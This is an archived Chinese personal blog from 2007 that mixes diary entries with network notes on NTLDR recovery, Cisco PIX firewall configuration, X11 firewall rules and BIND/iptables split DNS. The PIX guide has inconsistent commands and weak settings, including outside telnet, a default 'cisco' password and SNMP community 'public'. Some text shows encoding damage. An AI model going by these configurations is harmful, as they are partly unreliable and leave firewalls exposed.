星期一, 三月 19, 2007

凤凰之美

第一次看到凤凰主持谢亚芳是在去台州出差的宾馆的时候。当时激动的把立刻用手机拍下了她的工作照。也许我天生就是这样一个人。喜欢就是喜欢,不奢望什么,只是一种表达。那个时候就想一定要知道她的名字。可惜从来没看清楚过。出差的三天,守了三天的电视(指有空)。最后还是不知道。最倒霉的是在回家的路上,把带有照片的手机给丢了。(偶那可怜的NOKIA 6230)。于是去凤凰网的网站上找,直到BLOG的出现。那个时候还会常去看看。人生如歌,爱好如歌,我的爱好亦是,喜欢的东西我会一直很热烈,只到有一天回归平淡。很久没有她的消息,前几天去了她的BLOG才发现,文字也变成繁体了。说的也是政治话题(职业)了。所以不再有兴趣了。呵呵,祝福谢MM平安,也祝大家都有敢爱愿爱,平淡真切的生活。
Posted by Picasa

欲加之罪

    话说兔子在街上走着,迎面碰上了老狼。老狼伸手就给他一大嘴巴,“让你丫不戴帽�?rdquo;。兔子很郁闷地回家了,弄一帽子戴着�?BR>  
 第二天又碰上老狼了,又挨了一大嘴巴,“让你丫戴帽子”�?
  
  如是几次,总挨打。兔子想,这么老挨打不是个事儿啊,不行,我得找老虎投诉去。刚到老虎家门口,就听老虎在屋里说话�?
  
  “你也不能老这么蛮不讲理打兔子阿,回头兔子找我投诉来,我也不好罩着你啊。好歹咱面子上得过得去,我教你一招。下回你见着兔子,跟他说:给我弄点儿洗衣服的来。他给你拿肥皂来,你就打他一顿的,说我要的是洗衣粉,谁让你拿肥皂。他拿洗衣粉来,你也能打,说我要洗衣粉,谁让你拿肥皂。要不然你跟他说,去,给我找个女人来。他给你找个胖的,你打他一顿说我要瘦的;给你找个瘦的,你也打一顿,说我要胖的。这样不结了,你也能打他,我面子上也能说得过去�?rdquo;
  
   兔子一听,得,咱也别投诉了,回家吧�?
  
   第二天,兔子在街上又撞上老狼。老狼大喝一声:“去,给我找点儿洗衣服的来�?rdquo;
  
   兔子不慌不忙�?ldquo;你是要洗衣粉阿,还是要肥皂啊�?rdquo;
  
   老狼一听,嗯?有一手阿。又说:“去,给我找个女人来�?rdquo;
  
   兔子还是不慌不忙�?ldquo;你是要胖的啊,还是瘦的?”
  
   老狼一听勃然大怒,伸手就给兔子一个大嘴巴�?“让你丫不戴帽子!”

星期日, 三月 18, 2007

家乡

昨天一早就开车回到家乡去参加堂弟的婚礼了。婚礼简单不失礼节,办的不错。很可惜的是在上午接完亲,下午在老家待着的那段时间,我一直在寻找儿时的感觉。亦或梦里的感觉�?nbsp; 看过了家里的田地,门口的水井,自己亲自种下的树。有一些让人记忆深刻的东西,却有少了一种梦里常有的感觉。忽然有一种:物是人非的感觉。也许这就是生活

儿时生活的地方,其实不必有太多的感想。地还是那地,心也不必有太多的要求。跟大家聊聊家常就是一种享受,何必一定要回到从前
PS:昨天的路是真不好走,车是一身的泥。估计今天得好好洗洗

星期五, 三月 16, 2007

星期四, 三月 15, 2007

业务培训

单位昨天上午和今天一天都在太湖边培训,加上上个双休日学习的。让我对ISO9000质量管理体系和检验检疫监管业务知识都有了一定的认识。特别是监管的时候,要用ISO9000:2000的标准来进行监管,可以记住几要素,PDCA(PLAN、DO、Check、ACTION),5M1E(人、机、料、法、源、环)。另外中午抽空还去太湖边走走(虽然下着小雨,)感觉别有一番风情啊。只是可惜了,边上没有MM啊。呵呵,一早上网,想找个适合VS2005的UML设计工具,可一直没找到。可惜了。

星期三, 三月 14, 2007

我喜欢的歌

最小一直很喜欢唱歌,不过,由于天生对五线谱呆呆,所以只管自己开心的唱,从来不管人家说些什么。也没有特别喜欢的歌手,只是在一段时间内因为某些歌而喜欢某些歌手
记得的就如下了:
罗大佑 《恋曲系列》从80-2000,奇怪的是,我特别喜欢是2000,虽然很多人都说是80最好听。
第一次听田震歌的时候,我还激动的哭了。不记得是初中还是高中了,只记得是从家里小黑白电视上看到的那首,每个夜晚来临的时候,孤独总在我左右的MTV的时候,有一种莫名的冲动。
还有就是张学友的歌也喜欢过一段时间,不过不长。再后来就是老狼的歌了,那首《同桌的你》听了不下百遍(我听歌一直听,听到不要听为止)。再后来听老爹的歌,那种冲动的激情让我现在有时候去KTV还去拉几嗓子。
特别喜欢的是老爹的《水手》。以下是我从别人那儿CP来的,感觉这些歌都是我喜欢过和现在正在喜欢的。
呵呵,声明,网上找来的,一则表示我也喜欢,二则也算是做个收藏,以后有汽车的时候做成CD放在车上。边听音乐边开车,一定很开心。

一、校园篇
1、《恋恋风尘》 老狼
2、《中学时代》 水木年华
  3、《想把我唱给你听》小柯、老狼、曹芳、王筝 (全国首届校园歌手电视歌曲大赛主)
  4、《曾经的那些》 (一首超级好听的校园歌曲四个女大学生自创的校园之歌
  5、《丁香姑娘》新校园歌曲-玻璃杯
  6、《青青校园》 杨庆煌
  7、《南屏晚钟》 赵鹏。
  8、《那时花开》 流浪的燕子
  9、《关于现在关于未来》老狼晴朗
  10、《冬季校园》
  11、《那天》 艾敬
12、《曾经的你》徐巍
13、《故乡》徐巍
  二、抒情篇
  1、《别说我的眼泪你无所谓(原创)》水木年华
  2、《莱茵河之恋》 麦洁文
  3、《今夜你会不会来(国)》黎明
  4、《少女的祈祷》杨千桦
  5、《她的背影》 王杰
  6、《那种心跳的感觉》 高明骏
  7、《野百合也有春天》
  8、《外面的世界》(齐秦)
  9、《边走边唱》
  10、《栀子花开》 何炅
  11、《我们的爱》
  12、《在他乡》 水木年华
  13、《不要让我的眼泪陪你过夜》齐秦
14、《何日君再来》 邓丽君
15、《情人的眼泪》 蔡琴
  三、激情篇
  1、《我们是冠军》 94年美国世界杯歌曲
  2、《生命之怀》 98世界杯足球歌曲 瑞奇马丁
  3、《hand in hand手拉手》 88汉城奥运会主题歌
  4、《中国人民解放军军歌》 或者 红色摇滚_中国人民解放军军歌
  5、《新四军军歌》
  6、《志愿军军歌》
  7、《大刀进行曲》(黄河大合唱)大刀向鬼子们的头上砍去
  8、《运动员进行曲》(铜管乐合奏)
  9、《娇羞天使》 荷东的士高
  10、《我一直在路上》 王启文(摇滚版)
  四、英文歌
  1、hoobastank - the reason 英国排行榜第一的单曲
  2、shalala 莎啦啦
  3、big big word(英文原版)
  4、the rhythm of the rain雨中的旋律 欧美经典
  5、Hotel California (加洲旅馆)
  6、that's why you go away (你将离去)
  7、End Of The World(世界末日)
  8、the sound of silence(寂静之声)
  9、because i love you (英文经典情歌)
  10、pretty boy (欧美 - 英文经典)
  11、right here waiting(此情可待)奥斯卡-百年金曲典藏
  五、儿歌
1、蓝精灵
2、娃哈哈
3、让我们荡起双浆
4、春天在哪里
5、阿雅ㄘㄨㄚ冰进行曲
6、国旗国旗真美丽
  六、经典乐曲
1、圣母颂(古诺)
2、毕业生 发烧音响试音大碟!
3、ANNA IN THE MIRROR 镜中的安娜 吉他曲
4、《鸽子》
5、吉他曲-爱的罗曼史
6、初雪 班德瑞
7、梁祝
8、神秘花园 钢琴曲
9、花儿与少年(中央乐团轻音乐队)

CCNA考试记

其实到10 28号晚上我还没定要不要参加考试。心里总是没底。1200块啊,总感觉万一考不出来,怕老婆在后面烦。。。。看完TK以前的错题已经12点过半了。忽然有一种信心和冲动。于是在老婆问:明天你到底去不去的问题中,答:去,为什么不去?没想到把家里的现金放在一起就800,晕啊。本来打算第二天一早七点出发,八点到杭州,九点开考。现在只有九点出发了。到杭州大概十点左右。打的到原来的杭电,看到联合实训中心(其实也就是杭电的主楼七层)。没想到一进门,那个接待的竟然以为我是来培训CCNA的。告诉他我是来考试的。到左边的考场找到一个MM,交了1200块钱。拿到发票和签了两次名后。我找了借口去厕所抽了根烟,又有点紧张了。10:15左右进的考场。其实也就是一个小机房 ,里面有十台左右的电脑。还有摄像头。因为跟那个MM说过我是第一次考。所以MM陪我看前面的那些调查问题。告诉我说选A或B比较多。哦一声之后,立马选 A。MM大惊,“你也看看再选吧”。看了两题之后,没再看了,就选 了B。都是MINI 小于六个月的经验之类。最后问我是否小于18岁,选NO,就开始考试了。说实话真的考试了,一点都不怕了,也许是大部分题目跟TK都相同。我TK虽然没背过,也只看过一遍,但是有可能是学了三年,真的比较熟悉了。一个小时后,我看到了祝贺,哈哈过了。当时真的很开心。填 好地址,拿到成绩证明。已经是11点30分了。给老婆打了个电话,就立马打的到北站回湖州了。
也许是长久的考研失败。我对NA一直都没有认真对待过。等我真的想去考,在复习中,才发现平时学的真的太少了。看书不是看看就行的,要做题 ,这样的话才能理解,还要做实验。这次NA的实验我基本上没准备,是因为我大部分在平时都做过的。还有就是IP地址这个最重要的问题,我终于搞得很清楚了。以前对这块一直不是很明白(惭愧啊,还搞网络的)。对WAN这块也有了了解。
到家之后,我有种冲动,也许是该考NP了。BSCI BSMSN,BCRAN,CIT,我估计如果前两门过的话,后来应该比较容易。我不想背背TK就过了。黄佐说的对,理解才是最重要的。我想把CHINAITLAB的录相分段看完,把CISCO study guide分段看完,看完一段,复习TK,然后考试,一门门来。希望天佑我雷唤。

11.4小雨
一早爬起已经七点三十五分。急问老婆有课否?答一二节,立马叫起。做好一切准备,才发现天在下雨中。说实话我本来就打算带夫人一起去上班的。虽然有那些一点点。。(是因为她的动作太慢),但是我跟我要带她去一起去上班是没有冲突的。我感觉天如果下雨,被带的人一定很不舒服。所以一直在观察中,就在我这一会儿有雨一会没雨中。我的老婆竟然生气了。生气我能理解。可我真的受不了她那种态度。火大,但没发。想想有可能是自己做的过头,好心让人误会。

  打扫卫生到现在。静下心来,没想太多。只是小记,以备以后给自己提醒一下,做人实在是重要的,但方式方法也来得重要。

ntldr is missing问题如何解决?

解决:
  ·如果 MFT 根文件夹碎片较多,则可能会出现此问题。如果 MFT 根文件夹包含多个文件,则 MFT 就会变得非常零碎,以至于需要另外创建一个分配索引。因为文件是按字母顺序映射到分配索引中的,NTLDR 文件可能会被推到第二个分配索引中。如果发生此现象,就会看到NTLDR is missing Press CTRL+ALT+DEL to restart.描述的错误信息。
  
  一般情况下不将文件写入根文件夹。如果一个程序定期在根文件夹中创建和删除临时文件,或者将许多文件误复制到根文件夹,就会造成这一情况。
  
  这个问题是在您将多个文件复制到使用 NTFS 文件系统的启动卷的根文件夹后出现,这个问题已经在Windows 2000 SP4中解决。所以,请您检查您的SP状态。 至于解决的方法:
  
  使用恢复控制台
  1.. 使用 Windows 2000 安装盘重新启动计算机,或使用 Windows 2000 光盘重新启动计算机。
  2.. 在“欢迎使用安装程序”屏上,按 R 键修复 Windows 2000 安装。
  3.. 按 C 键通过使用“恢复控制台”修复 Windows 2000 安装。
  4.. 键入与要修复的 Windows 安装对应的数字,然后按 Enter 键。例如,键入 1,然后按 Enter 键。有关其他信息,请单击下面的文章编号,以查看 Microsoft 知识库中相应的文章: 键入管理员密码,然后按 Enter 键。
  5.. 键入 map,然后按 ENTER 键。记下分配给包含 Windows 2000 光盘的 CD-ROM驱动器的驱动器号。
  6.. 键入以下命令,在键入每个命令后按 ENTER 键,其中 drive 是您在本文“方法
  2:使用恢复控制台”中的第 4 步键入的驱动器号:
  copy drive:\i386\ntldr c:\
  
  copy drive:\i386\ntdetect.com c:\
  
  如果系统提示您覆盖现有文件,请键入 y,然后按 Enter 键。
  
  注意:在这些命令中,ntldr 和 c:\ 之间以及 ntdetect.com 和 c:\ 之间各有一个空格。
  7.. 键入下面的命令,然后按 ENTER 键:
  type c:\Boot.ini
  
  出现一个类似如下的列表:
  [boot loader]
  timeout=30
  default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
  
  [operating systems]
  multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Professional" /fastdetect
  如果收到以下消息,则 Boot.ini 文件可能丢失或损坏:
  The system cannot find the file or directory specified.
  
  8.. 如果 Boot.ini 文件丢失或损坏,请创建一个新的。为此,请按照下列步骤操作:
  1.. 使用文本编辑器,如记事本或 Edit.com 创建一个类似于以下内容的启动加载程序文件:
  [boot loader]
  timeout=30
  default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
  
  [operating systems]
  multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Professional" /fastdetect有关其他信息,请单击下面的文章编号,以查看 Microsoft 知识库中相应的文章: 102873 BOOT.INI and ARC Path Naming Conventions and Usage
  
  301680 HOW TO:Create a Boot Disk for an NTFS or FAT Partition in Windows
  
  2.. 将该文件作为 Boot.ini 保存到磁盘。
  
  注意:如果您是使用记事本创建的文件,请确保 .txt 扩展名没有附加在Boot.ini 文件名后面。
  3.. 在恢复控制台命令提示符下键入下面的命令,将 Boot.ini 文件从软盘复制到计算机:
  copy a:\Boot.ini c:\
  
  9.. 键入 exit,然后按 ENTER 键。计算机将会重新启动

星期二, 三月 13, 2007

ISDN PRI说明

ISDN PRI
用于在存在点(POP)和其它大型中央站点位置承载大量输入ISDN通话。所有ISDN BRI的可靠性和性能都适用于ISDN PRI,但ISDN PRI有23个B通道,每个通道为64 kbps,共享,一个承载信号通信的64 kbps D通道。ISDN PRI常称为23B+D(北美与日本)=T1=1.55Mpbs或30B+D(欧洲)=E1=2.048Mbps。
D通道通知中央办公室交换向Cisco路由器或访问服务器上的特定时间槽发送输入通话。每个B通道承载声音或数据。D通道承载B通道的信号。D通道表示通话为线路交换数字通话或模拟modem通话。模拟modem通话译码之后再发送到卡上modem。线路交换数字通话直接中继到路由器中的ISDN处理器。输入interface serial命令可以启用和配置D通道,这是用户可配置的。
图I.12显示了T1网配置中所用ISDN PRI接口的逻辑内容。逻辑内容包括23B通道、一个D通道、24个时间槽、24个虚拟串行接口(总B+D数)。

windows2003 IIS下RMVB不能下载和播放的问题

一日人文学院打电话过来,说上传在服务器上的RMVB不能下载也不能在线播放。当时心想也许是他们RMVB损坏了吧,后来搞了半天才知道,在WINDOWS2003上,如果不安装对RMVB支持的软件,那个IIS中的MIME类型中就不会出现RMVB这个类型的文件(其实是WINDOWS本身的MIME库)。而在IIS中如果要下载RMVB,那么http头返回的下载类型为application/vnd.rn-realmedia,所以要在IIS的MIME类型库中新添加rmvb格式类型对应为application/vnd.rn-realmedia

Cisco PIX525 配置备忘

1、 建立用户和修改密码

跟Cisco IOS路由器基本一样。

2、 激活以太端口

必须用enable进入,然后进入configure模式

PIX525>enable

Password:

PIX525#conf t

PIX525(config)#int e0 auto

PIX525(config)#int e1 auto

在默然情况下ethernet0是属外部网卡outside, ethernet1是属内部网卡inside, inside在

初始化配置成功的情况下已经被激活生效了,但是outside必须命令配置激活。

3、 命名端口与安全级别

采用命令nameif

PIX525(config)#nam e0 outside security0

PIX525(config)#nam e0 outside security100

security0是外部端口outside的安全级别(0安全级别最高)

security100是内部端口inside的安全级别,如果中间还有以太口,则security10,security20等等命名,多个网卡组成多个网络,一般情况下增加一个以太口作为DMZ(Demilitarized Zones非武装区域)。

4、 配置以太端口IP 地址

采用命令为:ip address

如:内部网络为:192.168.1.0 255.255.255.0

外部网络为:222.20.16.0 255.255.255.0

PIX525(config)#ip add inside 192.168.1.1 255.255.255.0

PIX525(config)#ip add outside 222.20.16.1 255.255.255.0

5、 配置远程访问[telnet]

在默然情况下,PIX的以太端口是不允许telnet的,这一点与路由器有区别。Inside端口可以做telnet就能用了,但outside端口还跟一些安全配置有关。

PIX525(config)#tel 192.168.1.1 255.255.255.0 inside

PIX525(config)#tel 222.20.16.1 255.255.255.0 outside

测试telnet

在[开始]->[运行]

telnet 192.168.1.1

PIX passwd:

输入密码:cisco

6、 访问列表(access-list)

此功能与Cisco IOS基本上是相似的,也是Firewall的主要部分,有permit和deny两个功能,网络协议一般有IP│TCP│UDP│ICMP等等,如:只允许访问主机:222.20.16.254的www,端口为:80

PIX525(config)#access-l 100 permit ip any host 222.20.16.254 eq www

PIX525(config)#access-l 100 deny ip any any

PIX525(config)#access-g 100 in int outside

7、 地址转换(NAT)和端口转换(PAT)

NAT跟路由器基本是一样的,

首先必须定义IP Pool,提供给内部IP地址转换的地址段,接着定义内部网段。

PIX525(config)#glo (outside) 1 222.20.16.100-222.20.16.200 netmask 255.255.255.0

PIX525(config)#nat (outside) 1 192.168.0.0 255.255.255.0

如果是内部全部地址都可以转换出去则:

PIX525(config)#nat (outside) 1 0.0.0.0 0.0.0.0

则某些情况下,外部地址是很有限的,有些主机必须单独占用一个IP地址,必须解决的是公用一个外部IP(222.20.16.201),则必须多配置一条命令,这种称为(PAT),这样就能解决更多用户同时共享一个IP,有点像代理服务器一样的功能。配置如下:

PIX525(config)#glo (outside) 1 222.20.16.100-222.20.16.200 netmask

255.255.255.0

PIX525(config)#glo (outside) 1 222.20.16.201 netmask 255.255.255.0

PIX525(config)#nat (outside) 1 0.0.0.0 0.0.0.0

8、 DHCP Server

在内部网络,为了维护的集中管理和充分利用有限IP地址,都会启用动态主机分配IP地址服务器(DHCP Server),Cisco Firewall PIX都具有这种功能,下面简单配置DHCP Server,地址段为192.168.1.100—192.168.168.1.200

DNS: 主202.96.128.68 备202.96.144.47

主域名称:abc.com.cn

DHCP Client 通过PIX Firewall

PIX525(config)#ip add dhcp

DHCP Server配置

PIX525(config)#dhc add 192.168.1.100-192.168.1.200 inside

PIX525(config)#dhc dns 202.96.128.68 202.96.144.47

PIX525(config)#dhc domain abc.com.cn

9、 静态端口重定向(Port Redirection with Statics)

在PIX 版本6.0以上,增加了端口重定向的功能,允许外部用户通过一个特殊的IP地址/端口通过Firewall PIX 传输到内部指定的内部服务器。这种功能也就是可以发布内部WWW、FTP、Mail等服务器了,这种方式并不是直接连接,而是通过端口重定向,使得内部服务器很安全。

命令格式:

static [(internal_if_name,external_if_name)]{global_ip│interface} local_ip [netmask mask][max_cons[max_cons[emb_limit[norandomseq]]]



static [(internal_if_name,external_if_name)]{tcp│udp}{global_ip│interface} local_ip [netmask mask][max_cons[max_cons[emb_limit[norandomseq]]]



!----外部用户直接访问地址222.20.16.99 telnet端口,通过PIX重定向到内部主机192.168.1.99的telnet端口(23)。

PIX525(config)#static (inside,outside) tcp 222.20.16.99 telnet 192.168.1.99

telnet netmask 255.255.255.255 0 0

!----外部用户直接访问地址222.20.16.99 FTP,通过PIX重定向到内部192.168.1.3的FTPServer。

PIX525(config)#stat (inside,outside) tcp 222.20.16.99 ftp 192.168.1.3 ftp netmask 255.255.255.255 0 0

!----外部用户直接访问地址222.20.16.208 www(即80端口),通过PIX重定向到内部192.168.123的主机的www(即80端口)。

PIX525(config)#stat (inside,outside) tcp 222.20.16.208 www 192.168.1.2 www netmask 255.255.255.255 0 0

!----外部用户直接访问地址222.20.16.201 HTTP(8080端口),通过PIX重定向到内部192.168.1.4的主机的www(即80端口)。

PIX525(config)#stat (inside,outside) tcp 222.20.16.208 8080 192.168.1.4 www netmask 255.255.255.255 0 0

!----外部用户直接访问地址222.20.16.5 smtp(25端口),通过PIX重定向到内部

192.168.1.5的邮件主机的smtp(即25端口)

PIX525(config)#stat (inside,outside) tcp 222.20.16.208 smtp 192.168.1.4 smtp netmask 255.255.255.255 0 0

10、显示与保存结果

采用命令sh conf

保存采用wr m

xManager与防火墙的问题解决过程

最近部门进了一台V880R,用CDE,放在DMZ区,这样的话,如果要用X-manager访问的话就要涉及到防火墙的规则问题。
我们先打开X-manager连接到V880R(这个时候防火墙是设为permit ip any any),然后用netstat 看端口的状态,可没想到看了
两台机,感觉client机的端口6000,6001好像是固定的,而Xserver的端口是30000之后,有点随机性质的。
后来因为时间关系不了了之了,昨晚查资料,才知道unix桌面系统使用X协议, Xmanager连接到指定的sun服务器上去.
是在使用一种XDMCP(X显示器管理协议)方式进行连接的.
然后查阅协议的情况才知道1。XDMCP是基于广播的,只能在一个网内起作用,不能进行跨路由访问的.
2。那有没有比如XDMCP over IP之类的方法进行远程桌面连接呢?
解决这个问题,用一台机器做为xclient, 然后在服务器端跑DISPALY=x.x.x.x:0.0;
export DISLPLAY 和xhost 就行
3。然后就是真正的问题所在就是防火墙的端口的问题 
XDMCP用UDP 177端口
X用TCP 6000 端口
X Font用TCP 7100端口

4。工作过程:和一般的TCP应用不一样的地方在于,一般TCP/UDP应用是客户端如WINDOWS用非特权端口 (>1024的端口)
向服务器端如SORARIS的众所周知端口(<1024的端口)发起通信,而X-EMLUATOR如X-WIN32,X-MANAGER的工作原理是在WINDOWS的TCP 6000端口上起一个XSERVER,然后通过UDP向真正的XSERVER(如SOLARIS的CDE)的UDP177端口发出查询,将DISPLAY导到WINDOWS的TCP 6000端口上,以实现远程X的Xmanager、Xwin32
5。要通过路由器、防火墙的话,要保证这样的规则(Cisco Pix 525 config):
access-list 101 permit tcp any eq 6000 any
access-list 101 permit udp any eq 6000 any
access-list 101 permit udp any any eq 177
access-group 101 in interface outside


说的有点乱,请高手指教

pix515e配置

PIX515E,只要用静态的NAT,不要做global的PAT,要地址段为8和0的机器只能访问地址为192.168.9.2 WEB server和192.168.9.99的proxy server,我就写了以下配置,成功!
nameif ethernet0 outside security0
nameif ethernet2 dmz security50
nameif ethernet1 inside security100
enable password 750401 encrypted
passwd 710401 encrypted

hostname fw-pix515e

fixup protocol ftp 21
fixup protocol http 80
fixup protocol h323 1720
fixup protocol rsh 514
fixup protocol rtsp 554
fixup protocol sqlnet 1521
fixup protocol sip 5060
fixup protocol skinny 2000
fixup protocol smtp 25

pager lines 24
interface ethernet0 auto
interface ethernet1 auto
interface ethernet2 auto
mtu outside 1500
mtu dmz 1500
mtu inside 1500

ip address outside 192.168.0.201 255.255.255.0
ip address inside 192.168.9.95 255.255.255.128
ip address dmz 192.168.8.1 255.255.255.0

ip audit info action alarm
ip audit attack action alarm
no failover

failover timeout 0:00:00
failover poll 15
failover ip address outside 0.0.0.0
failover ip address libdmz 0.0.0.0
failover ip address dmz 0.0.0.0
failover ip address inside 0.0.0.0
pdm history enable
arp timeout 14400

static (inside,dmz) 192.168.8.2 192.168.9.2 netmask 255.255.255.255 0 0
static (inside,dmz) 192.168.8.3 192.168.9.99 netmask 255.255.255.255 0 0
static (inside,outside) 192.168.0.202 192.168.9.2 netmask 255.255.255.255 0 0
static (inside,outside) 192.168.0.203 192.168.9.99 netmask 255.255.255.255 0 0

access-list acl_outside permit tcp any host 192.168.0.202 eq www
access-list acl_outside permit tcp any host 192.168.0.203 eq 8080
access-list acl_outside permit udp any host 192.168.0.203 eq 8080
access-list acl_outside permit icmp any any

access-list acl_dmz permit tcp any host 192.168.8.2 eq www
access-list acl_dmz permit tcp any host 192.168.8.3 eq 8080
access-list acl_dmz permit udp any host 192.168.8.3 eq 8080
access-list acl_dmz permit icmp any any

access-group acl_outside in interface outside
access-group acl_dmz in interface dmz

timeout xlate 3:00:00
timeout conn 1:00:00 half-closed 0:10:00 udp 0:02:00 rpc 0:10:00 h323 0:05:00 sip 0:30:00 sip_media 0:02:00
timeout uauth 0:05:00 absolute
aaa-server TACACS+ protocol tacacs+
aaa-server RADIUS protocol radius
no snmp-server location
no snmp-server contact
snmp-server community public
no snmp-server enable traps
floodguard enable
telnet 192.168.9.0 255.255.255.0 inside
telnet timeout 5
terminal width 80

在防火墙环境下DNS的安装与设置

经过几天的研究BIND,终于解决了我们单位的DNS问题。
在一般防火墙下,都是采用DMZ区内放服务器,外部访问DMZ区得到外部的IP,内部访问DMZ区时得到内部的IP。
如一个,
内部IP地址<--->放在DMZ的web服务器的IP<----->外部IP地址
192.168.1.1<--->192.168.0.1<----->211.202.49.1


从DNS上可以从以下四个方面解决:

一.iptables应用
1. 核心思想

  配置动态DNS服务器的核心思想是:在DNS服务器上运行多个BIND,每个BIND为来自不同区域的用户提供解析,因此每个BIND都应具有不同的配置文件和域文件,并且分别监听在不同的端口。在接到客户端DNS请求时,根据客户的ip地址将请求重定向不同的BIND服务端口。BIND响应时,再改写相应包的服务端口为标准的53端口。这样就可以根据客户端的ip地址将不同的解析结果返回给客户端。整个过程对于客户端来说都是透明的。实现的关键在于运行不同的BIND及运用iptables进行ip地址及端口改写操作。

2 配置过程

  步骤1: 配置内核

  netfilter要求内核版本不低于2.3.5,在编译新内核时,要求选择和netfilter相关的项目。这些项目通常都是位于"Networking options"子项下。以2.4.0内核为例,我们应该选中的项目有:

  [*] Kernel/User netlink socket
  [ ] Routing messages
  <*> Netlink device emulation
  [*] Network packet filtering (replaces ipchains)
  .......
  然后,在"IP: Netfilter Configuration ---->"选中:

   Connection tracking (required for masq/NAT)
   FTP protocol support
   IP tables support (required for filtering/masq/NAT)
   limit match support
   MAC address match support
   Netfilter MARK match support
   Multiple port match support
   TOS match support
   Connection state match support
   Packet filtering
   REJECT target support
   Full NAT
   MASQUERADE target support
   REDIRECT target support
   Packet mangling
   TOS target support
   MARK target support
   LOG target support
   ipchains (2.2-style) support
   ipfwadm (2.0-style) support

  其中最后两个项目可以不选,但是如果你比较怀念ipchains或者ipfwadm,你也可以将其选中,以便在2.4内核中使用ipchians或ipfwadm。但是需要注意的是,iptables是和ipchians/ipfwadm相对立的,在使用iptables的同时就不能同时使用ipchains/ipfwadm。编译成功后,这些模块文件都位于以下目录中
/lib/modules/2.4.0/kernel/net/ipv4/netfilter

  编译2.4.0的新内核时还应该注意要在"Processor type and features"中选择和你的CPU相对应的正确的CPU选项,否则新内核可能无法正常工作。

  步骤二、 配置BIND服务

  缺省地,BIND服务监听在53端口,我们可以通过配置让BIND运行在不同的ip及端口上。实现这一点并不复杂,假设我们的DNS服务器的ip地址是211.163.76.1,并且我们想区分CERNET及非CERNET的客户,这时我们必须运行两个BIND,使用不同的配置文件。可以在使用非标准监听端口的BIND的配置文件中用listen-on指定BIND监听的端口,比如:

  options {
  listen-on port 54 {211.163.76.1;}
  directory "/var/named_cernet";
  };
  可以用named的-c 选项指定named读入不同的配置文件,比如:

  /usr/sbin/named -u named -c /etc/named_cernet.conf
  
3、配置重定向规则

  假设监听在标准端口的BIND服务器为非CERNET客户提供DNS解析,监听在54端口的BIND服务器为CERNET服务器提供DNS解析,我们可以建立如下的规则脚本:

  #!/bin/bash

  #打开端口转发

  echo 1 > /proc/sys/net/ipv4/ip_forward
  #加载相关的内核模块

  /sbin/modprobe iptable_filter
  /sbin/modprobe ip_tables
  /sbin/modprobe iptables_nat
  #刷新所有规则

  /sbin/iptables -t nat -F
  #加入来自CERNET的DNS请求转发规则,将其转发到本地54端口,CERNET地址列表可从www.nic.edu.cn/RS/ipstat/获得

/sbin/iptables -t nat -A PREROUTING -p udp -s 163.105.0.0/16 --dport 53 -i eth0 -j REDIRECT 54
/sbin/iptables -t nat -A PREROUTING -p tcp -s 163.105.0.0/16 --dport 53 -i eth0 -j REDIRECT 54
/sbin/iptables -t nat -A PREROUTING -p udp -s 166.111.0.0/16 --dport 53 -i eth0 -j REDIRECT 54
/sbin/iptables -t nat -A PREROUTING -p tcp -s 166.111.0.0/16 --dport 53 -i eth0 -j REDIRECT 54
/sbin/iptables -t nat -A PREROUTING -p udp -s 202.4.128.0/19 --dport 53 -i eth0 -j REDIRECT 54
/sbin/iptables -t nat -A PREROUTING -p tcp -s 202.4.128.0/19 --dport 53 -i eth0 -j REDIRECT 54
/sbin/iptables -t nat -A PREROUTING -p udp -s 202.112.0.0/15 --dport 53 -i eth0 -j REDIRECT 54
/sbin/iptables -t nat -A PREROUTING -p tcp -s 202.112.0.0/15 --dport 53 -i eth0 -j REDIRECT 54

  #将返回给CERNET DNS客户数据包的源端口(54端口)伪装成53端口

  /sbin/iptables -t nat -A POSTROUTING -p udp --sport 54 -o eth0 -j SNAT --to 211.163.76.1:53
  /sbin/iptables -t nat -A POSTROUTING -p tcp --sport 54 -o eth0 -j SNAT --to 211.163.76.1:53
  教育网网的朋友可以从这里下载该脚本,将脚本中的DNS_IP及CNET_PORT参数改成你自己的DNS服务器地址及监听端口即可。
4、运行动态DNS

  配置完成后我们启动DNS服务器,并且运行相应的规则脚本,我们的动态DNS服务器就可以正常工作了。



二。利用bind9的cache纪录
  1)、用户向浏览器提供要访问的域名;
  2)、浏览器调用域名解析库对域名进行解析,由于CDN对域名解析过程进行了调整,
    所以解析函数库一般得到的是该域名对应的CNAME记录,为了得到实际IP地址,
   浏览器需要再次对获得的CNAME域名进行解析以得到实际的IP地址;在此过程中,
   使用的全局负载均衡DNS解析,如根据地理位置信息解析对应的IP地址,使得用户能就近访问。
  3)、此次解析得到CDN缓存服务器的IP地址,浏览器在得到实际的IP地址以后,
   向缓存服务器发出访问请求;
  4)、缓存服务器根据浏览器提供的要访问的域名,通过Cache内部专用DNS解析
   得到此域名的实际IP地址,再由缓存服务器向此实际IP地址提交访问请求;
  5)、缓存服务器从实际IP地址得得到内容以后,一方面在本地进行保存,
     以备以后使用,二方面把获取的数据返回给客户端,完成数据服务过程;
  6)、客户端得到由缓存服务器返回的数据以后显示出来并完成整个浏览的数据请求过程。
   1、要加入CDN服务的网站,需要域名(如www.linuxaid.com.cn,地址202.99.11.120)解析权提供给CDN运营商,Linuxaid的域名解析记录只要把www主机的A记录改为CNAME并指向cache.cdn.com即可。cache.cdn.com是CDN网络自定义的缓存服务器的标识。在/var/named/linuxaid.com.cn域名解析记录中,由:


www IN A 202.99.11.120
改为
www IN CNAME cache.cdn.com.



  2、CDN运营商得到域名解析权以后,得到域名的CNAME记录,指向CDN网络属下缓存服务器的域名,如cache.cdn.com,CDN网络的全局负载均衡DNS,需要把CNAME记录根据策略解析出IP地址,一般是给出就近访问的Cache地址。

  Bind 9的基本功能可以根据不同的源IP地址段解析对应的IP,实现根据地域就近访问的负载均衡,一般可以通过Bind 9的sortlist选项实现根据用户端IP地址返回最近的节点IP地址,具体的过程为:

  1)为cache.cdn.com设置多个A记录,/var/named/cdn.com 的内容如下:


$TTL 3600
@ IN SOA ns.cdn.com. root.ns.cdn.com. (
2002090201 ;Serial num
10800 ;Refresh after 3 hours
3600 ;Retry
604800 ;Expire
1800 ;Time to live
)
IN NS ns
www IN A 210.33.21.168
ns IN A 202.96.128.68
cache IN A 202.93.22.13 ;有多少个CACHE地址
